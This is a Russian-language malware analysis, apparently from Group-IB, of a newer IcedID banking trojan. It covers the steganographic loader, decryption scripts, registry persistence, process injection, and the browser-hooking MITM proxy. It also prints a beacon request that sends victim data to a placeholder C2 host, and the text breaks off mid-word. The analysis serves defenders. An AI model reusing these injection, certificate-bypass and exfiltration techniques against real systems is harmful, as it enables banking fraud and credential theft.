IcedID – когда лед сжигает банковский счет

jixbqo6g11uw5kngngbg8esabms.jpeg


Какие три мысли возникали у вирусных аналитиков, когда они слышали IcedID/BokBot? Конечно же про web-инжекты, proxy-сервер и быстрое обновление версий. Иногда настолько быстрое, что пока аналитик изучает версию, актуальную на момент начала исследования, — выходит новая. Какая фича была добавлена в этот список? Загрузчик со стеганографией. А что если вам скажут, что в новой версии не только главный модуль IcedID скрыт в изображении, но также и его конфигурационные файлы? Интересно? Тогда давайте разбираться. Иван Писарев, специалист по анализу вредоносного кода Group-IB, рассказывает, что нам приготовила новая версия этого печально знаменитого банковского трояна.

p8tz_fqxuwg0hgsbva_fmord3m0.jpeg


Об IcedID начали говорить еще в далеком ноябре 2017 года, когда его впервые описали исследователи из IBM X-Force. Уже на тот момент приложение имело богатый набор функциональных возможностей (proxy-сервер, web-инжекты, большой RAT-арсенал, VNC-модуль и т.д.), который продолжает активно пополняться. Мы тоже выпускали статью по данному банкеру, но с тех пор троян обзавелся новыми фишками, в том числе стал использовать стеганографию, чтобы скрывать конфигурационные данные в файловой системе и сетевом трафике. Об этом мы и расскажем подробно в данной статье.

Судя по целям бота, которые мы регулярно извлекаем из конфигурационных данных трояна, его интересы не сильно изменились: больше всего его интересуют клиенты американских банков. Но есть один интересный момент: в список целей попали фирмы, занимающиеся телекоммуникациями (AT&T) и мобильной связью (T-Mobile). Вот неполный список целей, которые атакует троян:

  • Amazon.com
  • eBay
  • American Express
  • AT&T
  • T-Mobile
  • Bank Of America
  • Capital One
  • Chase
  • Wells Fargo
  • J.P. Morgan
  • Lloyds Bank
  • Verizon Wireless


Ещё
  • CIBC
  • Comerica (comerica.com)
  • Dell
  • Discover
  • Dollar Bank
  • Erie Bank
  • E-Trade
  • Frost Bank
  • Halifax UK
  • Hancock Bank
  • Huntington Bank
  • M&T bank
  • Centennial Bank
  • PNC
  • RBC
  • Charles Schwab
  • SunTrust Bank
  • Synovus
  • Union Bank (unionbank.com)
  • USAA
  • US Bank


Ну, пора переходить к самому интересному — исследованию трояна.

Распространение


Примечательно, что за трояном очень активно следит инфобез-сообщество по всему миру, поэтому если вы зайдете в Twitter и попробуете поискать по тегам #IcedID и #BokBot, то найдете огромное количество записей о том, как и когда осуществлялась последняя рассылка банкера. Пожалуй, самое интересное, что случилось с трояном за последнее время в плане заражения устройств, — появление новой стадии загрузчика, которая, как и предыдущая версия, загружает картинку со спрятанной внутри старой версией — загрузчиком второй стадии. Новый загрузчик уже описан тут, поэтому не будем повторяться и просто упрощенно опишем схему заражения:

  1. На устройство жертвы попадает вредоносный документ.
  2. Документ загружает и запускает первую стадию загрузчика.
  3. Загрузчик первой стадии загружает картинку с CnC, извлекает оттуда загрузчик второй стадии, сохраняет и запускает его.
  4. Загрузчик второй стадии аналогично загружает картинку с CnC (адрес может быть другим), извлекает главный модуль IcedID и запускает его. Данная часть будет подробнее расписана далее.


Пример можно найти здесь. Думаю, вопросов тут не осталось, поэтому давайте перейдем ко второй стадии.

Downloader/Loader — загрузчик второй стадии


Основная задача данного загрузчика — получить главный модуль и запустить его. Вторая стадия может быть представлена в виде exe — или dll-файла, однако функциональных различий между двумя версиями нет. Поэтому давайте рассмотрим получение и запуск главного модуля на примере dll-файла.

Загрузчик представляет из себя DLL-файл с экспортируемой функцией DllRegisterServer (), которая циклично уходит в Sleep () на 1 секунду до тех пор, пока не поднят флаг окончания работ. Как вы увидите далее, новая версия загрузчика запускается в контексте процесса regsvr32.exe, а для корректного запуска необходима данная экспортируемая функция.

Все самое интересное происходит в функции DllEntryPoint (). Сам по себе загрузчик — достаточно маленькое приложение, которое выполняет следующие действия:

  1. Обращается к файлу-изображению, которое содержит ядро IcedID. Естественно, при первом запуске на зараженной машине такого изображения нет, поэтому идем далее.
  2. Обращается к CnC-адресам (список хранится в теле загрузчика в зашифрованном виде) и получает нагрузку. Запрос выглядит вот так:
    cr_x-ojtdfdgpckvu6jfc7-hbuw.png

    Быстро опишем значения:

    • 01 — захардкоженное значение.
    • BE0F1DE5 — тоже захардкоженное значение, которое впоследствии будет передано ядру IcedID. Далее будем называть его идентификатором загрузчика.
    • 0272A7E4 — временная метка.
    • 00000000000040000010 — информация о процессоре + временные замеры исполнения кода. Видимо, по данной переменной сервер может определять, исследуется ли на данный момент загрузчик, и не отдать ядро IcedID исследователю.

    В ответ сервер отдает изображение, которое содержит shell-код и ядро.
  3. Сохраняет файл (алгоритм генерации имен файлов рассмотрим далее).
  4. Расшифровывает полученную нагрузку (далее также опишем формат, в котором хранятся зашифрованные данные). Нагрузка включает в себя заголовок, shell-код и ядро IcedID. Загрузчик из заголовка получает адрес точки входа (адрес хранится по смещению 8, просто держу в курсе) в shell-код и передает на него управление.
  5. Shell-код запускает процесс svchost.exe (в некоторых исследованных сэмплах процесс был другой, к примеру msiexec.exe) в suspended-режиме и при помощи функций:
    • NtAllocateVirtualMemory
    • ZwWriteVirtualMemory
    • NtProtectVirtualMemory
    • NtQueueApcThread

    Инжектит себя в новый процесс и запускает. Думаю, тут все понятно и подробнее расписывать не нужно.
  6. Shell-код в контексте svchost.exe разворачивает ядро IcedID и передает на него управление.


Кажется, получилось сложновато. Давайте тогда картинкой:

jm_4ops7wjhotf9i4ui06b_peva.jpeg

Схема заражения устройства IcedID

Надеюсь, стало понятнее. Теперь переходим к самому интересному — описанию работы трояна.

IcedID core


Предстартовая подготовка


Перед началом описания работы трояна стоит рассказать, в каком формате троян хранит строки, переменные, файлы и прочие данные. Думаю, это облегчит чтение статьи. Если для читателя данная часть не интересна — предлагаю сразу перейти к следующему разделу Сразу после запуска.

Итак, начнем.

Генерация BotId


В первую очередь троян генерирует BotId, так как данная переменная будет использована практически во всех дальнейших алгоритмах генерации имен файлов, мьютексов, ключей реестра и т.д. В новой версии IcedId, в отличии от старой, для генерации BotId используется всем известный алгоритм хеширования fnv32. BotId — это хеш-значение от строкового представления SID’а пользователя.

Генерация строк


В отличие от предыдущих версий, новая использует классическую random-функцию C++ с внутренним состоянием счетчика. То есть для генерации одной и той же строки достаточно инициализировать счетчик одинаковым значением. Для генерации строк, которые должны быть одинаковыми от запуска к запуску (например, имена директорий, конфиг-файлов, ключей реестра и т.д.), IcedID использует в качестве инициализирующего значения BotId. Если повторное использование строки не планируется, тогда в качестве инициализирующего значения используется результат инструкции rdtsc. Думаю, подробно рассматривать сам алгоритм генерации строк не столь интересно. Выделим важные моменты:

  1. Генерируемые строки могут быть как в виде GUID, так и в «классическом» виде.
  2. Для генерации «классических» строк используются:
    • Пары алфавитов: aeiou и bcdfghjklmnpqrstvwxyz, при этом каждая пара символов принадлежит этим непересекающимся алфавитам (к примеру, если первый символ принадлежит первому алгоритму, то следующий символ в подстроке — строго из второго).
    • Опционально может быть добавлена пара символов из алфавита abcedfikmnopsutw, при этом индексы этих символов генерируются не ГПСЧ, а высчитываются на основании подстроки, полученной на предыдущем этапе. Это важное уточнение, к которому мы вернемся чуть позже.
    • Опционально могут быть добавлены целочисленные значения в конец генерируемой строки: 1, 2, 3, 4, 32, 64.
  3. Для генерации пути директории может использоваться имя зараженного пользователя. При этом для хранения интересных с точки зрения IcedID файлов может быть создана не одна, а две вложенные директории.


Шифрование срок


Важные для работы IcedId строки (лог-строки, строки-параметры функций и т.д.) зашифрованы кастомным алгоритмом. Расшифровать их можно довольно просто при помощи следующего Python-скрипта:

def decrypt_string(ciphertext):
	current_key = struct.unpack('I', ciphertext[:4])[0]
	length = (struct.unpack('H', ciphertext[4:6])[0] ^ current_key) & 0xFFFF
	ciphertext = ciphertext[6:]
	plaintext = ''
    
	for index in range(length):
    		current_key = (index + ((current_key << 25) | (current_key >> 7))) & 0xFFFFFFFF
    		plaintext = '{}{}'.format(plaintext, chr((current_key ^ ord(ciphertext[index])) & 0xFF))
    
	return plaintext


При этом важно отметить, что значение сдвигов может меняться в зависимости от версии трояна.

Вычисление контрольной суммы


Данный алгоритм используется для проверки целостности конфиг-данных, а также для осуществления SSL-pinning:

sqg0hx6ojkafycdgyvgkqr28yzq.png


Хранение глобальных переменных


Некоторые переменные, значение которых необходимо сохранять от запуска к запуску, троян сохраняет в реестре. Каждой переменной соответствует строка-значение — имя переменной. Чтение такой переменной происходит в четыре этапа:

  1. Считается кастомное хеш-значение от имени переменной:
    sprzo7fwm9kawquzdcnsbdfa9b8.png
  2. При помощи WinApi вычисляется MD5-значение от имени переменной и ее хеш-значения:
    p6ao6ap553mxzfw_ieytkcsri2i.png
  3. Генерируется путь до переменной в реестре:

    HKEY_CURRENT_USER\Software\Classes\CLSID\{%GUID%}

    где %GUID% — вычисленное выше MD5-значение в формате GUID и читает ее значение.

  4. Расшифровывается при помощи следующего алгоритма:
    bi9bvkdtkmvrzduobgposbnsgna.png

    где customRandom:
    def custom_random(seed):
    	for _ in range(3):
        		seed = ror(seed)
    	seed ^= 0x9257
    	for _ in range(3):
        		seed = rol(seed)
    	seed = (seed + 0x29B6) & 0xFFFFFFFF
    	seed = ror(seed)
    	seed = (seed + 0xF411) & 0xFFFFFFFF
    	seed = rol(seed)
    	seed = (seed - 0x8668) & 0xFFFFFFFF
    	seed = seed ^ 0xFFFFFFFF
    	seed = (seed - 0x8260) & 0xFFFFFFFF
    	return seed


Если вы читали предыдущую статью, то наверняка заметили, что изменений тут немного. Собственно, сохранение бот-переменной происходит в обратном порядке: сначала шифрование, затем запись.

Итак, в ходе исследования были обнаружены следующие переменные:

  • #lf — log-filter
  • #ke — kill edge
  • #dr — url list, with signature
  • #dm — url list, without signature


Важное замечание: по команде управляющего сервера может быть добавлено/удалено значение глобальной переменной. Именно так происходит обновление списка CnC-серверов. Кстати о CnC. После чтения и расшифровки глобальной переменной (#dr) троян еще проверят подпись. И да, у трояна есть встроенный открытый ключ:

_vq5linsuxjdch3op4t-bw8pfi8.png


Хранение конфигурационных данных


Конфигурационные данные IcedID хранит в отдельных зашифрованных файлах. Генерация имени файлов, а также директории, в которой они хранятся, описана выше. Основная отличительная черта новой версии трояна — хранение конфигов в .png-изображениях. Да-да, теперь не только основной модуль спрятан при помощи стеганографии, но и конфигурационные файлы. Давайте подробнее рассмотрим формат хранения полезной нагрузки в изображениях.

В каждом изображении присутствует объект вот такой структуры:

struct StegData
{
	int ciphertextLen;
	int magic;
	int plaintextChecksum;
	byte keyLen;
	char[keyLen] key;
	char[ciphertextLen];
};


А вот и пример:

o2cqouko6n7cwjgfy6jt_v-isoa.png


Алгоритм шифрования — RC4. В некоторых случаях (например, конфиг-файлы) изображение не содержит ключ, тогда в качестве него выступает BotId.

И пару слов о конфиг-файлах: после их расшифровки можно наблюдать следующее:

uwwbloaqulwk-b0cncjvmlq_a3g.png


Как видите, магическая строка zeus осталась.

Логирование


Даже в очень хорошо написанной программе возникают проблемы, что уж говорить о банкере. Разработчик это понимал и поэтому добавил логирование почти на каждом шагу. По умолчанию оно выключено, но есть глобальная переменная #lf, которую можно изменить по команде сервера. Log filter — это целочисленная переменная, у которой первые три бита отвечают за тип событий, который необходимо логировать:

  • [INFO]
  • [WARN]
  • [ERROR]


Кроме этого, переменная говорит трояну, в каких именно модулях стоит логировать события.

Логирование осуществляется в отдельный участок памяти, который по команде тоже может быть выгружен на сервер. Далее при анализе лог-строки нам еще не раз помогут.

Сразу после запуска


В первую очередь троян генерирует BotID и собирает информацию о зараженной машине, которую впоследствии передает управляющему серверу. Как я и предрекал в первой статье, главный модуль теперь тоже проверяет запуск на виртуальной машине двумя способами:

  1. при помощи инструкции rdtsc (а также для чистоты эксперимента cpuid и функции SwitchToThread) 15 раз замеряет время исполнения кода
  2. сравнивает первые 4 символа Vendor ID процессора со значениями:
    • VMwa
    • XenV
    • Micr
    • KVMK
    • Lrp
    • VBox


Интересное замечание: подтверждение запуска на виртуальной машине влияет только на запуск BC-модуля (будет описан позже), при этом модуль не запускается, только если система не прошла проверку по таймингам, значения VendorID игнорируются. Возможно, данная функция продолжает тестироваться и в дальнейшем будет доведена до идеала вместе с остановкой работы трояна на зараженной машине. На данный момент проверка достаточно слабая и почти не влияет на работу программы.

С BotId и информацией о системе чувствует троян пробуждение темной силы в себе, понимает, что отныне будет твориться история, которую необходимо сохранить для потомков. Как вы поняли, с данного этапа бот начинает логировать свои действия. Но перед тем, как записать первую строчку в девственно чистый участок памяти, троян пытается получить значение глобальной переменной #lf. Например, первое сообщение:

[00:11:40] 2252| [INFO] bot.init > core init ver=20 pid=1234 id=456 ldr_ver=3

Из него мы узнаем, что, по мнению разработчиков, версия загрузчика — 4, а вот версия ядра уже 21. Далее идет стандартная схема, предотвращающая повторный запуск трояна на машине: создается мьютекс (выше мы описывали генерацию строки-имени мьютекса). Если мьютекс уже создан — банкер завершает работу. Опять же, небольшое замечание: перед созданием мьютекса приложение обращается к событию с другим именем, которое создается при обновлении загрузчика трояна. И благодаря этому событию новый процесс IcedID ожидает завершения работы старого, после чего начинает выполнять свои грязные дела.

И начинаются грязные дела с обеспечения персистентности трояна на зараженном устройстве. В первую очередь приложение проверяет имя файла. Те, кто не пропустил пункт Генерация строк в прошлом разделе, наверняка помнят, что один из шагов я особо выделил — добавление двух символов из алфавита abcedfikmnopsutw, индексы к которым генерируются на основании предыдущей подстроки. Собственно, троян повторно генерирует индекс и сравнивает два последних символа имени файла с шаблонным значением. Если файл прошел проверку — дальнейшие действия не требуются. Если же это первый запуск трояна — приложение создает директорию (или две, в зависимости от BotID) в %APPDATA% или %LOCALAPPDATA%, копирует туда файл-загрузчик, старый файл удаляет, после чего добавляет новую задачу при помощи COM-интерфейса ITaskService:

gb3ybzqfi0_5bju0s4pgvhx6j20.png


Если создать задачу не удалось — приложение по-старинке прописывает себя в автозапуск через реестр. При этом название значения реестра такое же, как название задачи. То есть в данном случае:

  • Ключ реестра: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • Значение: meayjiduge_{94D3BBC9–24EA-411F-066A-A604B94A99DA}
  • Содержимое: путь к файлу-загрузчику


Важное замечание: загрузчик IcedID может быть не только .exe, но и .dll. В таких случаях его запуск происходит через regsvr32.exe, соответственно в задачу (реестр) будет прописан следующий путь:

regsvr32.exe /s «C:\Users\<%Username%>\AppData\Local\lepuan\odnu\olniyueu3.dll»

Установив себя в систему, приложение инициализирует список CnC-серверов. Происходит это в два этапа:

  1. инициализация списка на основе переданных загрузчиком параметров
  2. инициализация списка из глобальных переменных


Думаю, второй пункт необходимо расписать подробнее. Есть две глобальные переменные: #dm — хранит список CnC-серверов без подписи, и #dr — хранит подписанный список CnC-серверов. Переменная #dm используется опционально. Похоже, данная функция чисто для тестирования.

Кроме списка CnC-серверов приложение загружает конфигурационные файлы, которые теперь скрыты в .png-изображениях (то есть разработчики заменили обычное шифрование на стеганографию + шифрование). У IcedID есть два конфиг-файла, которые используются proxy-сервером (далее расскажу подробнее) для атаки MITM:

  • Main — содержит список web-инжектов (в первой статье этот список назывался cfg0)
  • Sys — содержит списки grab и ignore (cfg1)


На данном этапе подготовка для работы трояна полностью завершена, можно выпускать Кракена запускать три основных потока программы (далее для удобства будем называть их модулями):

  • Alive
  • Hooker
  • BC


ca9qnd4iva_u1pn4wvppkyrkhvm.jpeg


Как уже было указано ранее, модуль BC не запускается, если окружение не прошло проверку по таймингам (метод VM-detect). Далее подробно будет описан каждый поток-модуль. Ну, а на этом процесс инициализации трояна закончен, главный поток уходит в бесконечный Sleep ().

Alive-модуль


Данный модуль предназначен для периодического «отстукивания» на сервер, чтобы тот понимал: бот все еще жив и готов принимать команды. Перед запуском бот «засыпает» на минуту, после чего входит в бесконечный цикл обращения к серверу. Обращение к серверу осуществляется раз в 5 минут (хотя по команде сервера данное значение может быть изменено). Итак, как же выглядит запрос? Давайте сразу начнем с примера:

GET /audio/? z=JmE9MTk1OTUxMzEwJmI9MzEzMTk0ODc4MyZjPTIwJmQ9MCZlPTEmZj0wJmc9MCZqPTAwMDBERUFERkFDRSZtPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0MyUwMCU2RiUwMCU2RCUwMCU3MCUwMCU3NSUwMCU3NCUwMCU2NSUwMCU3MiUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZwPSU1NCUwMCU2NSUwMCU3MyUwMCU3NCUwMCU0NCUwMCU2RiUwMCU2RCUwMCU2MSUwMCU2OSUwMCU2RSUwMCU2RSUwMCU2MSUwMCU2RCUwMCU2NSUwMCZrPTMmbj00Jm89Ni4xLjc2MDEuMS4zMi4xJmw9JTU0JTAwJTY1JTAwJTczJTAwJTc0JTAwJTU1JTAwJTczJTAwJTY1JTAwJTcyJTAwJTZFJTAwJTYxJTAwJTZEJTAwJTY1JTAwJnc9ODE5MiZxPTMmdT0xNjM0MyZyPTM3MzU5Mjg1NTkmcz0zNzM1OTQzODg2JnQ9NTcwMDUmaD08JXBnaWQlPiZpPTwlZ2lkJT4mdj00MDQ= HTTP/1.1
Connection: Keep-Alive
Host: <%CnC%>

Как видно из запроса, все самое интересное хранится в закодированных по Base64 данных. После раскодирования получаем интересную строку:
2q_zoqgxjehxy0kwijmvnojuksw.png
Вот такую информацию троян передает на управляющий сервер. Как видно из примера, строковые значения (все в UNICODE) закодированы URL-кодировкой. Синим выделены данные, которые передаются только во время первого отстука — регистрационные данные. Черным — данные, которые присутствуют во всех запросах. Красным — опциональные данные, включаются в запрос, только если трояну удалось получить значение соответствующей переменной. Кстати о переменных — вот их значения:


В ответ сервер отправляет пакет, содержащий fast-команду и параметры, разделенные символом ; . Перед обработкой команды приложение ищет следующие подстроки в ответе и заменяет их на соответствующие значения:

  • #gid# — строковое значение, которое главный модуль получает от загрузчика
  • #pgid# — строковое значение, которое главный модуль получает от загрузчика
  • #id# — ID бота
  • #pid# — ID загрузчика
  • #domain# — CnC
  • front:// — заменяет на https://<%CnC%>


Ну, а теперь давайте быстро опишем fast-команды:
Давайте подробнее распишу некоторые команды:
Ну и напоследок хотел бы рассказать об одной интересной фиче, которую заметил в последний момент: автор трояна разработал довольно интересный метод SSL-pinning’а: перед установкой соединения приложение при помощи функции WinHttpSetStatusCallback () устанавливает обработчик на события WINHTTP_CALLBACK_STATUS_REQUEST_SENT (данные успешно отправлены на сервер) и WINHTTP_CALLBACK_STATUS_SENDING_REQUEST (срабатывает перед отправкой данных на сервер), но сама функция обработки игнорирует все события, кроме WINHTTP_CALLBACK_STATUS_SENDING_REQUEST. При срабатывании события приложение «вытаскивает» из запроса данные о сертификате сервера, считает контрольную сумму от открытого ключа сервера и сравнивает получившееся значение с серийным номером сертификата. Если оно совпадает — приложение признает, что сервер не подменен, иначе закрывает соединение. Ну, а сама функция выглядит вот так:

2gjbqyqxfyood-9t9hywetrtdfc.png


Hooker-модуль


Как любой уважающий себя современный банкер, IcedID умеет осуществлять атаку MITM. За это отвечает hooker-модуль, работу которого можно условно разделить на три основные части:

  1. Генерация самоподписанного сертификата
  2. «Поднятие» proxy-сервера
  3. Инжектирование собственного модуля в контекст браузера


А теперь подробнее о каждой части.

Генерация самоподписанного сертификата


Как известно, все самые вкусные для банкеров данные сейчас передаются через HTTPS. Получить такие данные путем простого прослушивания трафика между браузером жертвы и, к примеру, сервером банка не получится, ведь все закрыто SSL. Однако разработчики нашли выход из столь интересной ситуации: они ставят свой сертификат. Но для того, чтобы его поставить, сначала его нужно сгенерировать. Специально для генерации сертификата у IcedId есть вот такая строка:

C=US; O=VeriSign, Inc.; OU=VeriSign Trust Network; OU=© 2006 VeriSign, Inc. — For authorized use only; CN=VeriSign Class 3 Public Primary Certification Authority — G5

Ничего не напоминает? Ну конечно же — это Certificate Subject! Для подписи сертификата необходима пара открытый/закрытый ключ. Генерируется она при помощи CryptoAPI-функции CryptGenKey (), в качестве имени контейнера ключа используется MD5(<%BotId%><%Certificate Subject%>). Ну, а сам сертификат создается при помощи функции CertCreateSelfSignCertificate (), используя дуэт SHA1 и RSA, ранее созданную ключевую пару и информацию об издателе. Сертификат создается на три года, начиная ровно с года назад и до двух лет вперед. Если сгенерировать сертификат по какой-то причине не удалось — у трояна есть план B на такой случай: заранее подготовленный и зашифрованный в теле сертификат и ключ, который он подгружает и использует вместо неудачно сгенерированного.

Думали, на этом все? А вот нет. Сгенерированный самоподписанный сертификат необходим трояну только для подписи второго сертификата, который уже используется для атаки MITM. В качестве информации об издателе выступает строка:

CN=.com

Процедура генерации сертификата (в том числе имени контейнера) аналогична генерации корневого сертификата (за исключением того, что сертификат подписывается ключом ранее сгенерированного/импортируемого сертификата). И если снова что-то пошло не так — подгружается также ранее подготовленный и сохраненный в теле трояна ключ и сертификат (хранится в зашифрованном виде).

Важно также заметить, что троян создает хранилище сертификатов в файле %TEMP%/<%BotId%>.tmp и помещает туда сертификат. Таким образом, при следующем запуске трояну не нужно будет генерировать/импортировать сертификат повторно. Достаточно получить его из хранилища.

Запуск сервера


После генерации сертификата приложение начинает прослушивать порт <%BotId%> % 14000 — 15536 и, в зависимости от Main- и Sys-конфигов, делать свои темные дела. В прошлой статье подробно расписано, как происходит обработка трафика, и даже предоставлена ссылка на Python-скрипты, парсящие конфиги. Сильных изменений в этой части не обнаружено, так что, думаю, тут повторять нет смысла, идем дальше.

Патч браузеров


Итак, троян поднял свой сервер с собственным сертификатом. Что же еще осталось? Ах да: заставить браузеры редиректить все запросы на этот прокси-сервер и «поверить» сгенерированному сертификату. Для этого IcedID в бесконечном цикле с интервалом в секунду пробегается по списку запущенных приложений и ищет в их рядах браузер. Поиск осуществляется по контрольной сумме от имени процесса, которая вычисляется следующим образом:

ixefry29a991vdkzfxsjionwib0.png


И после сравнивает с захардкоженными значениями:

  • 0×9EFDE0C4 — firefox.exe
  • 0×9F96A0E0 — microsoftedgecp.exe
  • 0×534B083E — iexplore.exe
  • 0×7A257A14 — chrome.exe


В целом алгоритм вычисления контрольной суммы не менялся в разных версиях банкера, однако константа 0×801128AF была другой, соответственно для других версий трояна чексуммы названий процессов будут иными. Кроме сравнения по контрольной сумме, IcedID также сравнивает имя процесса посимвольно:

p3miiito-_zwdheblppgusaqx3i.png


Если обнаружено совпадение по имени — троян инжектит собственный код в контекст браузера. Во все, кроме Microsoft Edge. Более того — если на зараженном устройстве присутствует глобальная переменная #ke, то бот убивает процесс microsoftedgecp.exe. Похоже, разработчики не придумали, как инфицировать данный браузер. Либо он им просто не нравится.

eww91fimorga66_fzfoieepcjmq.jpeg


Перед патчем браузера приложение проверяет, не был ли он ранее заражен. У приложения есть список зараженных PID’ов. Кроме этого, после инфицирования код инжектированного модуля IcedID в процессе браузера создает событие с именем: <%generated_eventname%>_<%browser_pid%>. Если событие с таким именем не создано — процесс не заражен. Нужно это исправить!

Сейчас будет немного нудно. Главный модуль IcedID содержит в своем теле исполняемый файл, предназначенный для установки хуков на интересные трояну функции. Давайте далее называть его hooker. Однако, как и главный модуль, данный файл хранится в теле трояна в собственном формате и не имеет PE-заголовка. Информация о точке входа, секциях и т.д. находится в кастомном заголовке. Перед тем, как заразить процесс браузера, троян в собственном процессе «разворачивает» секции, после чего выделяет два участка памяти в контексте браузера. В первый, как вы, наверное, догадались, будет скопирован уже развернутый hooker. Во второй участок будут скопированы аргументы, необходимые для запуска перехватчика (в том числе порт прокси-сервера). После этого в контексте браузера при помощи функции CreateRemoteThread () будет создан вредоносный поток.

И вот тут начинается веселье. В контексте браузера hooker в первую очередь чинит собственный импорт (куда же без него), после чего создает ранее упомянутое событие: <%generated_eventname%>_<%browser_pid%>. Процесс установки хуков, думаю, лучше продемонстрировать в виде картинки на примере функции connect ():

gvvenez7mq3dqbl-js-4terpsbu.png


Как видно из примера, приложение просто устанавливает jmp-инструкцию в начале перехватываемой функции на собственный обработчик (haha classic). В зависимости от браузера вредоносный модуль ставит хуки на разные функции:

  • chrome.exe:
    • CertGetCertificateChain
    • CertVerifyCertificateChainPolicy
    • сonnect
  • iexplore.exe:
    • CertGetCertificateChain
    • CertVerifyCertificateChainPolicy
    • Функция из библиотеки mswsock.dll
    • сonnect
  • firefox.exe:
    • SSL_AuthCertificateHook или функция из библиотеки SSL3.dll
    • сonnect


Хуки на функции работы с сертификатами и SSL ставятся с единственной целью — заставить браузер принимать любой сертификат, в том числе самоподписанный. К примеру, когда в контексте firefox.exe происходит вызов функции SSL_AuthCertificateHook (), предназначенной для изменения функции проверки сертификата на свою собственную, hooker меняет второй аргумент (как раз функция проверки) на свой обработчик:

tthkmcm2ny2jhbczlt4vcu5w3pi.png


Обработчик функции connect (), в свою очередь, предназначен для того, чтобы перенаправлять все соединения браузера на proxy-сервер. Hooker заменяет IP-адрес назначения на 127.0.0.1, а порт — на порт proxy-сервера. После успешного подключения к Proxy-серверу IcedID отправляет следующие данные:

  • IP и порт назначения
  • Тип браузера
  • Информацию, полученную в качестве аргумента от главного модуля


Таким образом, при минимальном вмешательстве в процесс браузера IcedID удалось выстроить следующую схему MITM:

yuhfj0rxe-cd59nqfo8dr3joqys.jpeg

Схема IcedID MITM

Имея сертификат, Proxy-сервер и пропатченные браузеры IcedID получает полный контроль над трафиком браузеров, даже если все данные находятся за SSL.

BC-модуль


И этот модуль предназначен… для обработки команд сервера! Да-да, вы не ослышались: еще один модуль обработки команд. Давайте сразу рассмотрим, какой GET-запрос он делает на управляющий сервер:
tazq8la-5-dxyic4fnjrsxtsjva.png
Собственно, значение BAADBEEF — BotID, 0BADFACE — LoaderID, а за параметром Sec-WebSocket-Key скрывается временная метка. Похоже, данный модуль использует WebSocket для общения с управляющим сервером (кстати, используется те же адреса, что и в Alive-модуле, и порт 443). К сожалению, провести глубокое изучение протокола и сравнить его с RFC уже нет времени, поэтому давайте сразу перейдем к командам, которые приложение получает от управляющего сервера и обрабатывает:
Да, BC-модуль умеет исполнять fast-команды, что является прерогативой Alive-модуля. Пожалуй, самая интересная команда — сменить IP. В качестве параметра приложение получает IP-адрес управляющего сервера, на который он подключается к порту 8080. Все общение с сервером осуществляется по собственному бинарному протоколу, заголовок которого выглядит следующим образом:


struct BcMessageStruct
{
	int auth;
	byte command;
	int id;
	int key;
};


Где поле auth не менялось как минимум с пятой версии ядра IcedID: константа 0×974F014A, id — BotID, а key — LoaderID. Поле command может принимать следующие значения:
При подключении к серверу приложение отправляет пакет с command-полем 0, на что сервер отвечает ему командой. Так происходит в бесконечном цикле с интервалом. На словах все снова сложно, поэтому воспользуемся силой воображения изображения:

qxnb6fj4itaqmtwcf91wwey9r2u.jpeg

Ход исполнения команды Change IP в BC-модуле

Схема получилось упрощенной, не стал включать 1, 2 и 3 команды. Итак, давайте посмотрим, как происходит запуск VNC- и SOCKS-модулей.

Запуск VNC-модуля


Запуск VNC-модуля осуществляется в контексте нового процесса svchost.exe. Сам модуль находится в теле IcedID в сжатом виде и при помощи функции RtlDecompressBuffer () распаковывается (но не запускается) в контексте трояна. Как и основной модуль IcedID, VNC-модуль состоит из двух частей: shell-код, предназначенный для развертывания трояна в контексте svchost.exe, и сам модуль.

В первую очередь IcedID запускает новый процесс svchost.exe в suspended-режиме без аргументов, после чего записывает туда VNC-модуль и параметры, необходимые для работы модуля: IP-адрес CnC, порт, BotID, Key и т.д. А запуск модуля осуществляется довольно интересным образом: вместо того, чтобы создать новый поток в контексте нового процесса, IcedID ставит хук на стандартную функцию RtlExitUserProcess (). Выглядит это следующим образом:

v-d81ntq4aqgoq66crvdxxcbghu.png


После этого он запускает работу процесса функцией ResumeThread (). Так как процесс был запущен без аргументов, он очень быстро завершит свою работу и вызовет функцию RtlExitUserProcess (), которая уже не та, что была при запуске приложения, и JMP-инструкция передаст управление на shell-код VNC-модуля, который будет выполнять уже свои грязные дела. Примечательно, что старые версии трояна именно таким образом разворачивали главный модуль IcedID в контексте svchost.exe, но по какой-то причине разработчик загрузчика отказался от этой идеи и сейчас запуск IcedID осуществляется гораздо проще.

Запуск SOCKS-модуля


Как вы уже догадались, данный модуль предназначен для проксирования трафика между двумя удаленными серверами. Фактически SOCKS-модуль является backonnect proxy и выполняет соответствующие функции: устанавливает соединение с удаленным CnC-сервером, запрашивает адрес, порт и параметры, устанавливает соединение и проксирует трафик между CnC и удаленным сервером (может быть легитимным). А теперь чуть подробнее.

После получения команды на запуск модуля приложение отправляет на сервер объект структуры BcMessageStruct, где command — 4, а значения id и key позаимствованы из структуры-запроса. В ответ сервер отсылает данные, состоящие из заголовка, адреса и порта удаленного сервера, с которым необходимо установить соединение. Адрес может быть как доменом, так и IP. Заголовок состоит из 5 байт, вот краткое описание двух наиболее интересных полей:


После заголовка следуют данные — адрес и порт. Снова сложно? Тогда и для этого есть схема!

hcmbbbwcmobgrldj7seeuz-fux4.jpeg

Схема работы SOCKS-модуля

А теперь неожиданный поворот: если управляющий сервер устанавливает соединение и указывает в качестве пары адрес — порт значение 127.0.0.1:39426, а поле «тип запроса» — 1, то приложение запускает… процесс cmd.exe.

i4pn8gtrwqcwnvy3spguvem0t8u.jpeg


Зачем разработчик выполнил запуск cmd.e

© Habrahabr.ru